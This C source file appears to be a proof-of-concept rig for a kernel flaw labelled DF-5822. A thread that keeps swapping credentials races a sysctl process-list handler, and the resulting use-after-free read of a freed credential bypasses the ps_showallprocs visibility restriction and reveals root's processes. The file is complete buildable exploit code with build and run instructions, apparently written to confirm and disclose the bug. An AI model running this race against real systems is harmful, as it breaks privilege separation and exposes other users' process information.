DF-5822 / df5822_rig.c
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 | /* * DF-5822 rig: stale un-held cr1 in sysctl_kern_proc() * (sys/kern/kern_proc.c:1669) -> ucred use-after-free read -> visibility * bypass when security.ps_showallprocs=0. * * cr1 = curproc->p_ucred is taken WITHOUT crhold and used across blocking * SYSCTL_OUT copyouts (p_trespass/PRISON_CHECK/jailed at 1715-1789). * While the sysctl thread is inside the handler, another thread of the * same process replacing the credentials (cratom_proc, * sys/kern/kern_prot.c:1170-1190) frees the cred cr1 points at. The * dangling pointer is then read per-row: p_trespass(stale, target) with a * recycled/zeroed chunk reads cr_uid == 0 -> "return (0)" blanket * no-trespass (sys/kern/kern_prot.c:1057) -> other users' kinfo_proc rows * are emitted to a poller whose real euid is 1001. * * Churn choice: setegid(0)<->setegid(1001) alternation. Legal because the * setuid-root scaffold keeps svgid==0; crucially setegid NEVER touches * cr_uid, so a FRESH cr1 always has cr_uid==1001 and can never legitimately * pass p_trespass against root-owned processes. Any root rows observed by * the poller therefore prove the stale-pointer read. * * Rig scaffolding (root, one-time): sysctl -w security.ps_showallprocs=0; * chown root:wheel df5822_rig; chmod 4555 df5822_rig. * * Build: cc -O2 -pthread -o df5822_rig df5822_rig.c * Run (unprivileged): ./df5822_rig 30 */ #include <sys/types.h> #include <sys/sysctl.h> #include <sys/user.h> #include <pthread.h> #include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> static volatile int stop; static gid_t base_gid; static void * churn(void *x) { (void)x; while (!stop) { if (setegid(0) == -1) perror("setegid0"); if (setegid(base_gid) == -1) perror("setegidbase"); } return (NULL); } int main(int argc, char **argv) { int secs = (argc > 1) ? atoi(argv[1]) : 30; pthread_t th; unsigned long iters = 0, hit_iters = 0, rows_seen = 0; time_t t0, t_control; base_gid = getgid(); /* * Drop euid to the real uid (1001). svgid stays 0 so the setegid(0) * churn below is legal; from here on a fresh p_ucred always has * cr_uid == 1001. */ if (seteuid(getuid()) == -1) { perror("seteuid"); return (1); } fprintf(stderr, "[rig] euid=%d ruid=%d svgid=%d poller start\n", geteuid(), getuid(), 0); pthread_create(&th, NULL, churn, NULL); t0 = time(NULL); t_control = t0 + 3; /* 3s control phase first */ while (time(NULL) - t0 < secs) { static char buf[512 * 1024]; size_t len = sizeof(buf); int mib[4]; int churn_on = (time(NULL) >= t_control); /* list processes with cr_uid == 0 (root's) */ mib[0] = CTL_KERN; mib[1] = KERN_PROC; mib[2] = KERN_PROC_UID; mib[3] = 0; ++iters; if (sysctl(mib, 4, buf, &len, NULL, 0) == 0) { size_t rows = len / sizeof(struct kinfo_proc); if (rows > 0) { ++hit_iters; rows_seen += rows; fprintf(stderr, "[rig] %s iter %lu: %zu ROOT rows visible " "with euid=%d%s\n", churn_on ? "CHURN " : "CTRL ", iters, rows, geteuid(), churn_on ? " <== STALE cr1 BYPASS" : " <== control-phase hit?!"); } } } stop = 1; pthread_join(th, NULL); printf("poll iterations : %lu\n", iters); printf("iterations w/ rows : %lu (control-phase hits excluded below)\n", hit_iters); printf("root rows observed : %lu while euid=1001\n", rows_seen); return (0); } |